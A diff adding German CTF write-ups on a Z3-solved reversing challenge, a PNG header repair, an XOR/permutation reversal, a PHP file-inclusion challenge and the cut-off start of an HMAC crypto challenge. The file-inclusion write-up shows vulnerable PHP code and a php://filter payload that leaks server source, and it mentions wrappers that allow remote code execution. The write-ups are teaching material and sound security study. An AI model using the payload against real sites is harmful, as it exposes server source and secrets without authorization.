||||||
218
de/the_clockwork.md
Normal file
218
de/the_clockwork.md
Normal file
@@ -0,0 +1,218 @@
|
|||||||
|
# The Clockwork
|
||||||
|
|
||||||
|
`the_clockwork` ist eine Reverse-Engineering-Challenge, die ein System voneinander abhängiger Gleichungen beinhaltet. Uns wird eine Binärdatei `challenge` bereitgestellt und wir müssen die korrekte Eingabe finden, um ihre interne Logik zu erfüllen.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file challenge
|
||||||
|
challenge: ELF 64-bit LSB executable, x86-64, ... not stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Binärdatei ist nicht gestrippt und enthüllt Funktionsnamen. Wir analysieren sie mit Ghidra.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
### Main-Funktion
|
||||||
|
|
||||||
|
Wir lokalisieren die `main`-Funktion (`0x402057`). Die Dekompilierung zeigt die Initialisierung eines Ziel-Arrays und eine Schleife, die die berechneten "Zahnräder" (Gears) verifiziert.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(void)
|
||||||
|
|
||||||
|
{
|
||||||
|
bool bVar1;
|
||||||
|
int iVar2;
|
||||||
|
char *pcVar3;
|
||||||
|
size_t sVar4;
|
||||||
|
long in_FS_OFFSET;
|
||||||
|
int local_164;
|
||||||
|
int local_158 [64];
|
||||||
|
char local_58 [72];
|
||||||
|
long local_10;
|
||||||
|
|
||||||
|
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||||
|
local_158[0] = 0x174;
|
||||||
|
local_158[1] = 0x2fe;
|
||||||
|
local_158[2] = 0x3dc;
|
||||||
|
local_158[3] = 0x30c;
|
||||||
|
local_158[4] = 0xfffffe57;
|
||||||
|
local_158[5] = 0xffffffc6;
|
||||||
|
local_158[6] = 0x28a;
|
||||||
|
local_158[7] = 0x23d;
|
||||||
|
local_158[8] = 0x24d;
|
||||||
|
local_158[9] = 0xee;
|
||||||
|
local_158[10] = 0x183;
|
||||||
|
local_158[0xb] = 0x124;
|
||||||
|
local_158[0xc] = 0x1e0;
|
||||||
|
local_158[0xd] = 0x19c;
|
||||||
|
local_158[0xe] = 0x1ab;
|
||||||
|
local_158[0xf] = 0x444;
|
||||||
|
// ... (Initialisierung geht weiter für 32 Werte) ...
|
||||||
|
local_158[0x1f] = 0x209;
|
||||||
|
|
||||||
|
// ... (Logik zum Lesen der Eingabe) ...
|
||||||
|
|
||||||
|
if (sVar4 == 0x20) {
|
||||||
|
// Berechne Zahnräder, speichere Ergebnis in der zweiten Hälfte von local_158
|
||||||
|
calculate_gears(local_58,local_158 + 0x20);
|
||||||
|
bVar1 = true;
|
||||||
|
local_164 = 0;
|
||||||
|
goto LAB_00402348;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ...
|
||||||
|
|
||||||
|
LAB_00402348:
|
||||||
|
if (0x1f < local_164) goto LAB_00402351;
|
||||||
|
|
||||||
|
// Constraint-Prüfung:
|
||||||
|
// gears[next] * 2 + gears[current] == target[current]
|
||||||
|
// wobei next = (current + 1) % 32
|
||||||
|
if (local_158[(long)((local_164 + 1) % 0x20) + 0x20] * 2 + local_158[(long)local_164 + 0x20] !=
|
||||||
|
local_158[local_164]) {
|
||||||
|
bVar1 = false;
|
||||||
|
goto LAB_00402351;
|
||||||
|
}
|
||||||
|
local_164 = local_164 + 1;
|
||||||
|
goto LAB_00402348;
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Schleife bei `LAB_00402348` verifiziert, dass für jedes Zahnrad `i`:
|
||||||
|
`gears[i] + 2 * gears[(i+1)%32] == target[i]`
|
||||||
|
|
||||||
|
### Calculate Gears
|
||||||
|
|
||||||
|
Die Funktion `calculate_gears` berechnet das `gears`-Array aus dem Eingabestring.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void calculate_gears(char *param_1,undefined4 *param_2)
|
||||||
|
|
||||||
|
{
|
||||||
|
undefined4 uVar1;
|
||||||
|
|
||||||
|
uVar1 = f0((int)*param_1);
|
||||||
|
*param_2 = uVar1;
|
||||||
|
uVar1 = f1((int)param_1[1],*param_2);
|
||||||
|
param_2[1] = uVar1;
|
||||||
|
uVar1 = f2((int)param_1[2]);
|
||||||
|
param_2[2] = uVar1;
|
||||||
|
uVar1 = f3((int)param_1[3],param_2[2]);
|
||||||
|
param_2[3] = uVar1;
|
||||||
|
|
||||||
|
// ... Muster setzt sich fort ...
|
||||||
|
|
||||||
|
uVar1 = f30((int)param_1[0x1e]);
|
||||||
|
param_2[0x1e] = uVar1;
|
||||||
|
uVar1 = f31((int)param_1[0x1f],param_2[0x1e]);
|
||||||
|
param_2[0x1f] = uVar1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Sie verwendet 32 Hilfsfunktionen (`f0` bis `f31`).
|
||||||
|
- Gerade Indizes hängen nur vom Eingabezeichen ab: `gears[i] = f_i(input[i])`
|
||||||
|
- Ungerade Indizes hängen von der Eingabe und dem vorherigen Zahnrad ab: `gears[i] = f_i(input[i], gears[i-1])`
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Wir können dieses System mit dem Z3 Constraint Solver modellieren.
|
||||||
|
|
||||||
|
1. **Repliziere die `f`-Funktionen**: Wir implementieren die Logik von `f0`...`f31` in Python (extrahiert aus der Disassemblierung).
|
||||||
|
2. **Definiere Constraints**: Wir erzwingen die Beziehung `gears[i] + 2 * gears[(i+1)%32] == targets[i]`.
|
||||||
|
3. **Lösen**: Wir bitten Z3, die 32 Eingabezeichen zu finden.
|
||||||
|
|
||||||
|
### Solver-Skript
|
||||||
|
|
||||||
|
```python
|
||||||
|
import z3
|
||||||
|
|
||||||
|
# 1. Ziele aus main extrahiert
|
||||||
|
targets = [
|
||||||
|
0x174, 0x2fe, 0x3dc, 0x30c, -425, -58, 0x28a, 0x23d,
|
||||||
|
0x24d, 0xee, 0x183, 0x124, 0x1e0, 0x19c, 0x1ab, 0x444,
|
||||||
|
-56, -180, 0x13c, 0x25e, 0x1fe, 0x18a, 200, 0x82,
|
||||||
|
0x233, 0x2da, 0x36e, 0x3c3, 0x47d, 0x2a4, 0x3b5, 0x209
|
||||||
|
]
|
||||||
|
|
||||||
|
# 2. Flaggen-Variablen definieren
|
||||||
|
flag = [z3.BitVec(f'flag_{i}', 32) for i in range(32)]
|
||||||
|
s = z3.Solver()
|
||||||
|
for i in range(32):
|
||||||
|
s.add(flag[i] >= 32, flag[i] <= 126)
|
||||||
|
|
||||||
|
# 3. Hilfsfunktionen (f0-f31)
|
||||||
|
def c_rem(a, b): return z3.SRem(a, b)
|
||||||
|
|
||||||
|
def f0(p1): return (p1 ^ 0x55) + 10
|
||||||
|
def f1(p1, p2): return c_rem((p1 + p2), 200)
|
||||||
|
def f2(p1): return p1 * 3 - 20
|
||||||
|
def f3(p1, p2): return (p1 ^ p2) + 5
|
||||||
|
def f4(p1): return (p1 + 10) ^ 0xaa
|
||||||
|
def f5(p1, p2): return (p1 - p2) * 2
|
||||||
|
def f6(p1): return p1 + 100
|
||||||
|
def f7(p1, p2): return (p1 ^ p2) + 12
|
||||||
|
def f8(p1): return (p1 * 2) ^ 0xff
|
||||||
|
def f9(p1, p2): return p2 + p1 - 50
|
||||||
|
def f10(p1): return (p1 ^ 123)
|
||||||
|
def f11(p1, p2): return c_rem((p1 * p2), 500)
|
||||||
|
def f12(p1): return p1 + 1
|
||||||
|
def f13(p1, p2): return (p1 ^ p2) * 2
|
||||||
|
def f14(p1): return p1 - 10
|
||||||
|
def f15(p1, p2): return (p2 + p1) ^ 0x33
|
||||||
|
def f16(p1): return p1 * 4
|
||||||
|
def f17(p1, p2): return (p1 - p2) + 100
|
||||||
|
def f18(p1): return (p1 ^ 0x77)
|
||||||
|
def f19(p1, p2): return c_rem((p1 + p2), 150)
|
||||||
|
def f20(p1): return p1 * 2
|
||||||
|
def f21(p1, p2): return (p1 ^ p2) - 20
|
||||||
|
def f22(p1): return p1 + 33
|
||||||
|
def f23(p1, p2): return (p2 + p1) ^ 0xcc
|
||||||
|
def f24(p1): return p1 - 5
|
||||||
|
def f25(p1, p2): return c_rem((p1 * p2), 300)
|
||||||
|
def f26(p1): return p1 ^ 0x88
|
||||||
|
def f27(p1, p2): return p2 + p1 - 10
|
||||||
|
def f28(p1): return p1 * 3
|
||||||
|
def f29(p1, p2): return (p1 ^ p2) + 44
|
||||||
|
def f30(p1): return p1 + 10
|
||||||
|
def f31(p1, p2): return (p2 + p1) ^ 0x99
|
||||||
|
|
||||||
|
# 4. Zahnräder berechnen
|
||||||
|
gears = [None] * 32
|
||||||
|
gears[0] = f0(flag[0])
|
||||||
|
gears[1] = f1(flag[1], gears[0])
|
||||||
|
gears[2] = f2(flag[2])
|
||||||
|
gears[3] = f3(flag[3], gears[2])
|
||||||
|
# ... (Mapping für alle 32 Zahnräder fortsetzen) ...
|
||||||
|
gears[4] = f4(flag[4]); gears[5] = f5(flag[5], gears[4])
|
||||||
|
gears[6] = f6(flag[6]); gears[7] = f7(flag[7], gears[6])
|
||||||
|
gears[8] = f8(flag[8]); gears[9] = f9(flag[9], gears[8])
|
||||||
|
gears[10] = f10(flag[10]); gears[11] = f11(flag[11], gears[10])
|
||||||
|
gears[12] = f12(flag[12]); gears[13] = f13(flag[13], gears[12])
|
||||||
|
gears[14] = f14(flag[14]); gears[15] = f15(flag[15], gears[14])
|
||||||
|
gears[16] = f16(flag[16]); gears[17] = f17(flag[17], gears[16])
|
||||||
|
gears[18] = f18(flag[18]); gears[19] = f19(flag[19], gears[18])
|
||||||
|
gears[20] = f20(flag[20]); gears[21] = f21(flag[21], gears[20])
|
||||||
|
gears[22] = f22(flag[22]); gears[23] = f23(flag[23], gears[22])
|
||||||
|
gears[24] = f24(flag[24]); gears[25] = f25(flag[25], gears[24])
|
||||||
|
gears[26] = f26(flag[26]); gears[27] = f27(flag[27], gears[26])
|
||||||
|
gears[28] = f28(flag[28]); gears[29] = f29(flag[29], gears[28])
|
||||||
|
gears[30] = f30(flag[30]); gears[31] = f31(flag[31], gears[30])
|
||||||
|
|
||||||
|
# 5. Constraints hinzufügen
|
||||||
|
for i in range(32):
|
||||||
|
next_i = (i + 1) % 32
|
||||||
|
s.add((gears[i] + gears[next_i] * 2) == targets[i])
|
||||||
|
|
||||||
|
# 6. Lösen
|
||||||
|
if s.check() == z3.sat:
|
||||||
|
m = s.model()
|
||||||
|
result = "".join([chr(m[flag[i]].as_long()) for i in range(32)])
|
||||||
|
print("Flag:", result)
|
||||||
|
else:
|
||||||
|
print("No solution found")
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Ausführen des Solvers liefert die korrekte Flagge.
|
||||||
98
de/the_wrapper.md
Normal file
98
de/the_wrapper.md
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
# The Wrapper
|
||||||
|
|
||||||
|
Willkommen zum Write-up für **The Wrapper**. Dies ist eine "Web"-Challenge, die eine klassische und mächtige Schwachstelle in PHP-Anwendungen untersucht: **Local File Inclusion (LFI)** unter Verwendung von **PHP Wrappers**.
|
||||||
|
|
||||||
|
In dieser Challenge haben wir Zugriff auf einen "Language Loader v2.0", der dynamisch verschiedene Sprachdateien lädt. Unser Ziel ist es, den geheimen Inhalt von `flag.php` zu lesen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung
|
||||||
|
|
||||||
|
Die Challenge-Beschreibung sagt:
|
||||||
|
> "Unser Entwicklerteam hat gerade den neuen Language Loader v2.0 gestartet! Er bietet eine schlanke Sidebar und dynamisches Laden von Inhalten, um unsere globalen Benutzer auf Englisch, Deutsch und Spanisch zu unterstützen."
|
||||||
|
|
||||||
|
Wenn wir die Seite besuchen, sehen wir eine Sidebar mit Links wie:
|
||||||
|
- `?lang=english.php`
|
||||||
|
- `?lang=german.php`
|
||||||
|
- `?lang=spanish.php`
|
||||||
|
|
||||||
|
Wenn wir auf diese Links klicken, ändert sich der Inhalt der Hauptbox. Dies ist ein starker Indikator für dynamische Datei-Inklusion.
|
||||||
|
|
||||||
|
## 2. Quellcode-Analyse
|
||||||
|
|
||||||
|
Die Challenge stellt uns `the_wrapper.tar.xz` zur Verfügung. Untersuchen wir `index.php`:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<div class="box">
|
||||||
|
<?php
|
||||||
|
// Standardsprache
|
||||||
|
$file = "english.php";
|
||||||
|
|
||||||
|
if (isset($_GET['lang'])) {
|
||||||
|
$file = $_GET['lang'];
|
||||||
|
}
|
||||||
|
|
||||||
|
include($file);
|
||||||
|
?>
|
||||||
|
</div>
|
||||||
|
```
|
||||||
|
|
||||||
|
Dieser Code nimmt den `lang`-Parameter direkt aus der URL und übergibt ihn an die PHP `include()`-Funktion. Dies ist eine klassische **Local File Inclusion (LFI)** Schwachstelle. Die Anwendung vertraut unserer Eingabe blind und versucht, jede von uns angegebene Datei einzubinden und auszuführen.
|
||||||
|
|
||||||
|
## 3. Das Hindernis: Ausführung vs. Offenlegung
|
||||||
|
|
||||||
|
Wir wissen, dass es eine `flag.php`-Datei im selben Verzeichnis gibt (wir haben sie im Quellcode-Archiv gesehen). Versuchen wir, sie einzubinden:
|
||||||
|
`?lang=flag.php`
|
||||||
|
|
||||||
|
Die Seite lädt, aber die Box ist leer! Warum?
|
||||||
|
Schauen wir uns `flag.php` an:
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Datei *definiert* nur eine Variable namens `$flag`; sie *druckt* sie nicht aus. Wenn wir sie über `?lang=flag.php` einbinden, führt PHP den Code aus, setzt die Variable, und das war's. Nichts wird auf dem Bildschirm angezeigt.
|
||||||
|
|
||||||
|
Um die Flagge zu erhalten, müssen wir den **Quellcode** von `flag.php` lesen, ohne ihn auszuführen.
|
||||||
|
|
||||||
|
## 4. Die Schwachstelle: PHP Wrapper
|
||||||
|
|
||||||
|
Der Challenge-Titel "The Wrapper" ist ein riesiger Hinweis. PHP hat ein Feature namens "Wrapper", das es Ihnen ermöglicht, die Art und Weise, wie auf Dateien zugegriffen wird, zu modifizieren.
|
||||||
|
|
||||||
|
Ein besonders nützlicher Wrapper für LFI ist `php://filter`. Er ermöglicht es Ihnen, Filter (wie Base64-Kodierung) auf eine Datei anzuwenden, bevor sie gelesen oder eingebunden wird.
|
||||||
|
|
||||||
|
Wenn wir den `convert.base64-encode`-Filter verwenden, kodiert PHP den gesamten Inhalt der Datei als Base64-String und "bindet" dann diesen String ein. Da ein Base64-String kein gültiger PHP-Code ist, wird er nicht ausgeführt – er wird einfach als reiner Text direkt auf die Seite gedruckt.
|
||||||
|
|
||||||
|
## 5. Ausnutzung
|
||||||
|
|
||||||
|
Wir können einen Payload erstellen, um den Quellcode von `flag.php` zu leaken:
|
||||||
|
|
||||||
|
`?lang=php://filter/convert.base64-encode/resource=flag.php`
|
||||||
|
|
||||||
|
Wenn wir diese URL besuchen, enthält die Inhaltsbox einen langen Base64-String:
|
||||||
|
`PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=`
|
||||||
|
|
||||||
|
Jetzt müssen wir ihn nur noch dekodieren:
|
||||||
|
`echo "PD9waHAKJGZsYWcgPSAie2ZsYWc6UEhQX1dyYXBwZXJzX1JfTWFnaWNfRjByX0xGSX0iOwo/Pgo=" | base64 -d`
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$flag = "{flag:PHP_Wrappers_R_Magic_F0r_LFI}";
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
## 6. Die Lösung
|
||||||
|
|
||||||
|
**Flag:** `{flag:PHP_Wrappers_R_Magic_F0r_LFI}`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Gelernte Lektionen
|
||||||
|
|
||||||
|
* **Vertrauen Sie niemals Benutzereingaben in `include()` oder `require()`:** Verwenden Sie eine Whitelist erlaubter Dateien, anstatt direkt vom Benutzer bereitgestellte Strings zu übergeben.
|
||||||
|
* **PHP Wrapper sind mächtig:** Sie können verwendet werden, um Filter zu umgehen, Quellcode zu lesen oder sogar Remote Code Execution (RCE) in einigen Konfigurationen zu erreichen (z.B. `php://input` oder `data://`).
|
||||||
|
* **Defense in Depth:** Selbst wenn eine LFI existiert, ist es schwerer auszunutzen, wenn die PHP-Konfiguration des Servers die Verwendung gefährlicher Wrapper einschränkt (`allow_url_include = Off`).
|
||||||
|
|
||||||
|
Frohes Hacken!
|
||||||
64
de/tragic_magic.md
Normal file
64
de/tragic_magic.md
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
# Tragic Magic
|
||||||
|
|
||||||
|
`Tragic Magic` ist eine Forensik-Challenge, die eine beschädigte Bilddatei beinhaltet. Uns wird eine Datei namens `flag.png` zur Verfügung gestellt, sowie ein Hinweis, dass das Dateiübertragungsprotokoll die Binärdaten beschädigt haben könnte.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Wir beginnen damit, den Dateityp mit dem `file`-Befehl zu identifizieren:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file flag.png
|
||||||
|
flag.png: data
|
||||||
|
```
|
||||||
|
|
||||||
|
Der `file`-Befehl sagt einfach "data", was bedeutet, dass er die Dateisignatur (Magic Bytes) nicht erkennt. Wenn wir versuchen, das Bild mit einem Viewer zu öffnen, wird dies fehlschlagen.
|
||||||
|
|
||||||
|
## Analyse
|
||||||
|
|
||||||
|
Untersuchen wir die ersten paar Bytes der Datei mit `xxd`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ xxd -l 16 flag.png
|
||||||
|
00000000: 5550 4e47 4141 1a0a 0000 000d 4948 4452 UPNGAA......IHDR
|
||||||
|
```
|
||||||
|
|
||||||
|
Wir können die Strings `PNG` und `IHDR` in der ASCII-Darstellung deutlich sehen. `PNG` ist Teil der Standard-Dateisignatur, und `IHDR` ist der obligatorische erste Chunk jeder gültigen PNG-Datei. Dies bestätigt zweifelsfrei, dass die Datei als PNG-Bild gedacht ist.
|
||||||
|
|
||||||
|
Die "Magic Bytes" (die 8-Byte-Dateisignatur) ganz am Anfang sind jedoch inkorrekt.
|
||||||
|
|
||||||
|
**Gültige PNG-Signatur:**
|
||||||
|
`89 50 4E 47 0D 0A 1A 0A` (`.PNG....`)
|
||||||
|
|
||||||
|
**Unsere Dateisignatur:**
|
||||||
|
`55 50 4E 47 41 41 1A 0A` (`UPNGAA..`)
|
||||||
|
|
||||||
|
Die Signatur wurde teilweise beschädigt:
|
||||||
|
- `89` wurde zu `55` ('U')
|
||||||
|
- `0D 0A` (Windows Newline) wurde zu `41 41` ('AA')
|
||||||
|
|
||||||
|
Dies passt zum Hinweis über ein "optimales ASCII-Protokoll", das die Binärdaten verunstaltet.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Wir müssen den Datei-Header reparieren, damit Bildbetrachter ihn erkennen können.
|
||||||
|
|
||||||
|
1. Öffnen Sie `flag.png` in einem Hex-Editor.
|
||||||
|
2. Suchen Sie die ersten 8 Bytes.
|
||||||
|
3. Ersetzen Sie sie durch die Standard-PNG-Signatur: `89 50 4E 47 0D 0A 1A 0A`.
|
||||||
|
4. Speichern Sie die Datei.
|
||||||
|
|
||||||
|
Alternativ können wir `printf` verwenden, um den Header über die Befehlszeile zu überschreiben:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
printf "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" | dd of=flag.png bs=1 count=8 conv=notrunc
|
||||||
|
```
|
||||||
|
|
||||||
|
Nach dem Fixen des Headers wird die Datei korrekt erkannt:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file flag.png
|
||||||
|
flag.png: PNG image data, 256 x 256, 8-bit/color RGB, non-interlaced
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Öffnen des wiederhergestellten Bildes enthüllt die in den Pixeln geschriebene Flagge:
|
||||||
|
`{flag: corrupted_png_header}`
|
||||||
166
de/twisted.md
Normal file
166
de/twisted.md
Normal file
@@ -0,0 +1,166 @@
|
|||||||
|
# Twisted
|
||||||
|
|
||||||
|
`twisted` ist eine Reverse-Engineering-Challenge, bei der wir eine Flagge aus einer bereitgestellten Binärdatei und einem verschlüsselten Ausgabestring wiederherstellen müssen.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Wir beginnen mit der Analyse des Dateityps der `twisted`-Binärdatei:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file twisted
|
||||||
|
twisted: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ... stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Binärdatei ist "stripped", was bedeutet, dass ihr Debugging-Symbole wie Funktionsnamen fehlen. Wenn wir uns mit dem Challenge-Server verbinden, erhalten wir die verschlüsselte Flagge:
|
||||||
|
|
||||||
|
```
|
||||||
|
Here is your twisted flag: 34d133c640536c58ffcebb864a836aaf3bc432c3606b331df2d981a472bd6e80
|
||||||
|
```
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
Wir öffnen die Binärdatei in Ghidra, um ihre Logik zu analysieren. Da die Binärdatei gestrippt ist, suchen wir zuerst den Einsprungpunkt (`entry`), der `__libc_start_main` aufruft. Das erste Argument für `__libc_start_main` ist die Adresse der `main`-Funktion. Diesem Pfad folgend gelangen wir zur Funktion bei `0x40190a`, die wir in `main` umbenennen.
|
||||||
|
|
||||||
|
### Main-Funktion (`0x40190a`)
|
||||||
|
|
||||||
|
Der dekompilierte Code für `main` enthüllt die erwarteten Argumente und eine grundlegende Validierung:
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(int param_1,long param_2)
|
||||||
|
|
||||||
|
{
|
||||||
|
size_t sVar1;
|
||||||
|
|
||||||
|
if (param_1 < 2) {
|
||||||
|
printf("Usage: %s <flag>\n",*(undefined8 *)(param_2 + 8)); // Usage-String bei 0x49e081
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
sVar1 = strlen(*(char **)(param_2 + 8));
|
||||||
|
if (sVar1 == 32) {
|
||||||
|
FUN_004017b5(*(undefined8 *)(param_2 + 8));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
printf("Error: Flag must be exactly %d characters long.\n",32); // Error-String bei 0x49e098
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Daraus lernen wir, dass die Eingabeflagge genau **32 Zeichen** lang sein muss. Wenn die Länge korrekt ist, ruft sie `FUN_004017b5` auf.
|
||||||
|
|
||||||
|
### Transformationsfunktion (`0x4017b5`)
|
||||||
|
|
||||||
|
Wir analysieren `FUN_004017b5`, welche die Kernverschlüsselungslogik enthält. Sie führt zwei verschiedene Operationen auf dem Eingabestring aus.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_004017b5(long param_1)
|
||||||
|
|
||||||
|
{
|
||||||
|
long lVar1;
|
||||||
|
int local_84; // Zähler für Schleife 1
|
||||||
|
int local_80; // Zähler für Schleife 2
|
||||||
|
int local_7c; // Zähler für Schleife 3
|
||||||
|
byte local_70 [32]; // Gemischter Puffer
|
||||||
|
byte local_50 [32]; // Finaler XOR-Puffer
|
||||||
|
byte local_30 [32]; // Eingabekopie
|
||||||
|
|
||||||
|
// ... Setup und Kopieren der Eingabe nach local_30 ...
|
||||||
|
|
||||||
|
// --- SCHRITT 1: Permutation ---
|
||||||
|
local_84 = 0;
|
||||||
|
while (local_84 < 32) {
|
||||||
|
// Lade Byte aus Permutationstabelle bei 0x49e020
|
||||||
|
// Verwende es als Index in den Eingabestring
|
||||||
|
local_70[local_84] = local_30[(int)(uint)(byte)(&DAT_0049e020)[local_84]];
|
||||||
|
local_84 = local_84 + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- SCHRITT 2: XOR-Verschlüsselung ---
|
||||||
|
local_80 = 0;
|
||||||
|
while (local_80 < 32) {
|
||||||
|
// XOR das gemischte Byte mit einem Schlüsselbyte von 0x49e040
|
||||||
|
local_50[local_80] = local_70[local_80] ^ (&DAT_0049e040)[local_80];
|
||||||
|
local_80 = local_80 + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Ergebnis drucken ---
|
||||||
|
printf("Here is your twisted flag: "); // String bei 0x49e060
|
||||||
|
local_7c = 0;
|
||||||
|
while (local_7c < 32) {
|
||||||
|
printf("%02x",(ulong)local_50[local_7c]);
|
||||||
|
local_7c = local_7c + 1;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Der Algorithmus ist:
|
||||||
|
1. **Permutation**: Verwende das Array bei `0x49e020`, um die Eingabezeichen neu anzuordnen.
|
||||||
|
`shuffled[i] = input[PERM[i]]`
|
||||||
|
2. **XOR**: XOR die neu angeordneten Zeichen mit dem Array bei `0x49e040`.
|
||||||
|
`encrypted[i] = shuffled[i] ^ KEY[i]`
|
||||||
|
|
||||||
|
### Datenextraktion
|
||||||
|
|
||||||
|
Wir untersuchen den Speicher an den identifizierten Adressen, um die Permutationstabelle und den XOR-Schlüssel abzurufen.
|
||||||
|
|
||||||
|
**Permutationstabelle (`0x49e020`):**
|
||||||
|
Werte: `3, 0, 1, 2, 7, 4, 5, 6, 10, 11, 8, 9, 15, 12, 13, 14, 19, 16, 17, 18, 22, 23, 20, 21, 25, 26, 27, 24, 31, 28, 29, 30`
|
||||||
|
|
||||||
|
**XOR-Schlüssel (`0x49e040`):**
|
||||||
|
Werte (Hex): `55, AA, 55, AA, 12, 34, 56, 78, 9A, BC, DE, F0, 0F, F0, 0F, F0, 55, AA, 55, AA, 12, 34, 56, 78, 9A, BC, DE, F0, 0F, F0, 0F, F0`
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Um die Flagge `34d133c6...` zu entschlüsseln, kehren wir die Operationen um:
|
||||||
|
1. **XOR umkehren**: `shuffled[i] = encrypted[i] ^ KEY[i]`
|
||||||
|
2. **Permutation umkehren**: `input[PERM[i]] = shuffled[i]`
|
||||||
|
|
||||||
|
### Solver-Skript
|
||||||
|
|
||||||
|
```python
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# Extrahiert von 0x49e020
|
||||||
|
PERM = [
|
||||||
|
3, 0, 1, 2, 7, 4, 5, 6,
|
||||||
|
10, 11, 8, 9, 15, 12, 13, 14,
|
||||||
|
19, 16, 17, 18, 22, 23, 20, 21,
|
||||||
|
25, 26, 27, 24, 31, 28, 29, 30
|
||||||
|
]
|
||||||
|
|
||||||
|
# Extrahiert von 0x49e040
|
||||||
|
KEY = [
|
||||||
|
0x55, 0xAA, 0x55, 0xAA, 0x12, 0x34, 0x56, 0x78,
|
||||||
|
0x9A, 0xBC, 0xDE, 0xF0, 0x0F, 0xF0, 0x0F, 0xF0,
|
||||||
|
0x55, 0xAA, 0x55, 0xAA, 0x12, 0x34, 0x56, 0x78,
|
||||||
|
0x9A, 0xBC, 0xDE, 0xF0, 0x0F, 0xF0, 0x0F, 0xF0
|
||||||
|
]
|
||||||
|
|
||||||
|
def solve(hex_string):
|
||||||
|
encrypted_bytes = bytes.fromhex(hex_string)
|
||||||
|
|
||||||
|
if len(encrypted_bytes) != 32:
|
||||||
|
print("Error: Length mismatch")
|
||||||
|
return
|
||||||
|
|
||||||
|
# 1. XOR umkehren
|
||||||
|
shuffled = [0] * 32
|
||||||
|
for i in range(32):
|
||||||
|
shuffled[i] = encrypted_bytes[i] ^ KEY[i]
|
||||||
|
|
||||||
|
# 2. Permutation umkehren
|
||||||
|
original = [0] * 32
|
||||||
|
for i in range(32):
|
||||||
|
target_idx = PERM[i]
|
||||||
|
original[target_idx] = shuffled[i]
|
||||||
|
|
||||||
|
print("Flag: " + "".join(chr(b) for b in original))
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve("34d133c640536c58ffcebb864a836aaf3bc432c3606b331df2d981a472bd6e80")
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Ausführen des Skripts gibt uns die Flagge:
|
||||||
|
`{flag: Reverse_Engineer_The_Map}`
|
||||||
|
|
||||||
|
```
|
||||||
130
de/variable_security.md
Normal file
130
de/variable_security.md
Normal file
@@ -0,0 +1,130 @@
|
|||||||
|
# Variable Security
|
||||||
|
|
||||||
|
`Variable Security` ist eine Kryptographie-Challenge, die eine Schwachstelle in einem benutzerdefinierten HMAC-Signierdienst ausnutzt. Der Dienst ermöglicht es Benutzern, HMAC-SHA256-Signaturen für beliebige Nachrichten unter Verwendung eines geheimen Schlüssels (der Flagge) zu generieren. Entscheidend ist, dass der Dienst eine Funktion "Key Optimization Level" bietet, mit der der Benutzer festlegen kann, wie viele Bytes des geheimen Schlüssels für das Signieren verwendet werden sollen.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Uns wird eine Webinterface namens "SecureSign Enterprise" präsentiert. Es bietet ein Formular mit zwei Feldern:
|
||||||
|
1. **Message Content**: Texteingabe für die zu signierende Nachricht.
|
||||||
|
2. **Key Optimization Level**: Eine numerische Eingabe, die die Länge des zu verwendenden Schlüssels angibt.
|
||||||
|
|
||||||
|
Aus der Challenge-Beschreibung ("Wir erlauben Clients, das 'Key Optimization'-Level anzupassen") und dem Formularfeld `key_len` können wir ableiten, dass die Backend-Logik etwa so aussieht:
|
||||||
|
|
||||||
|
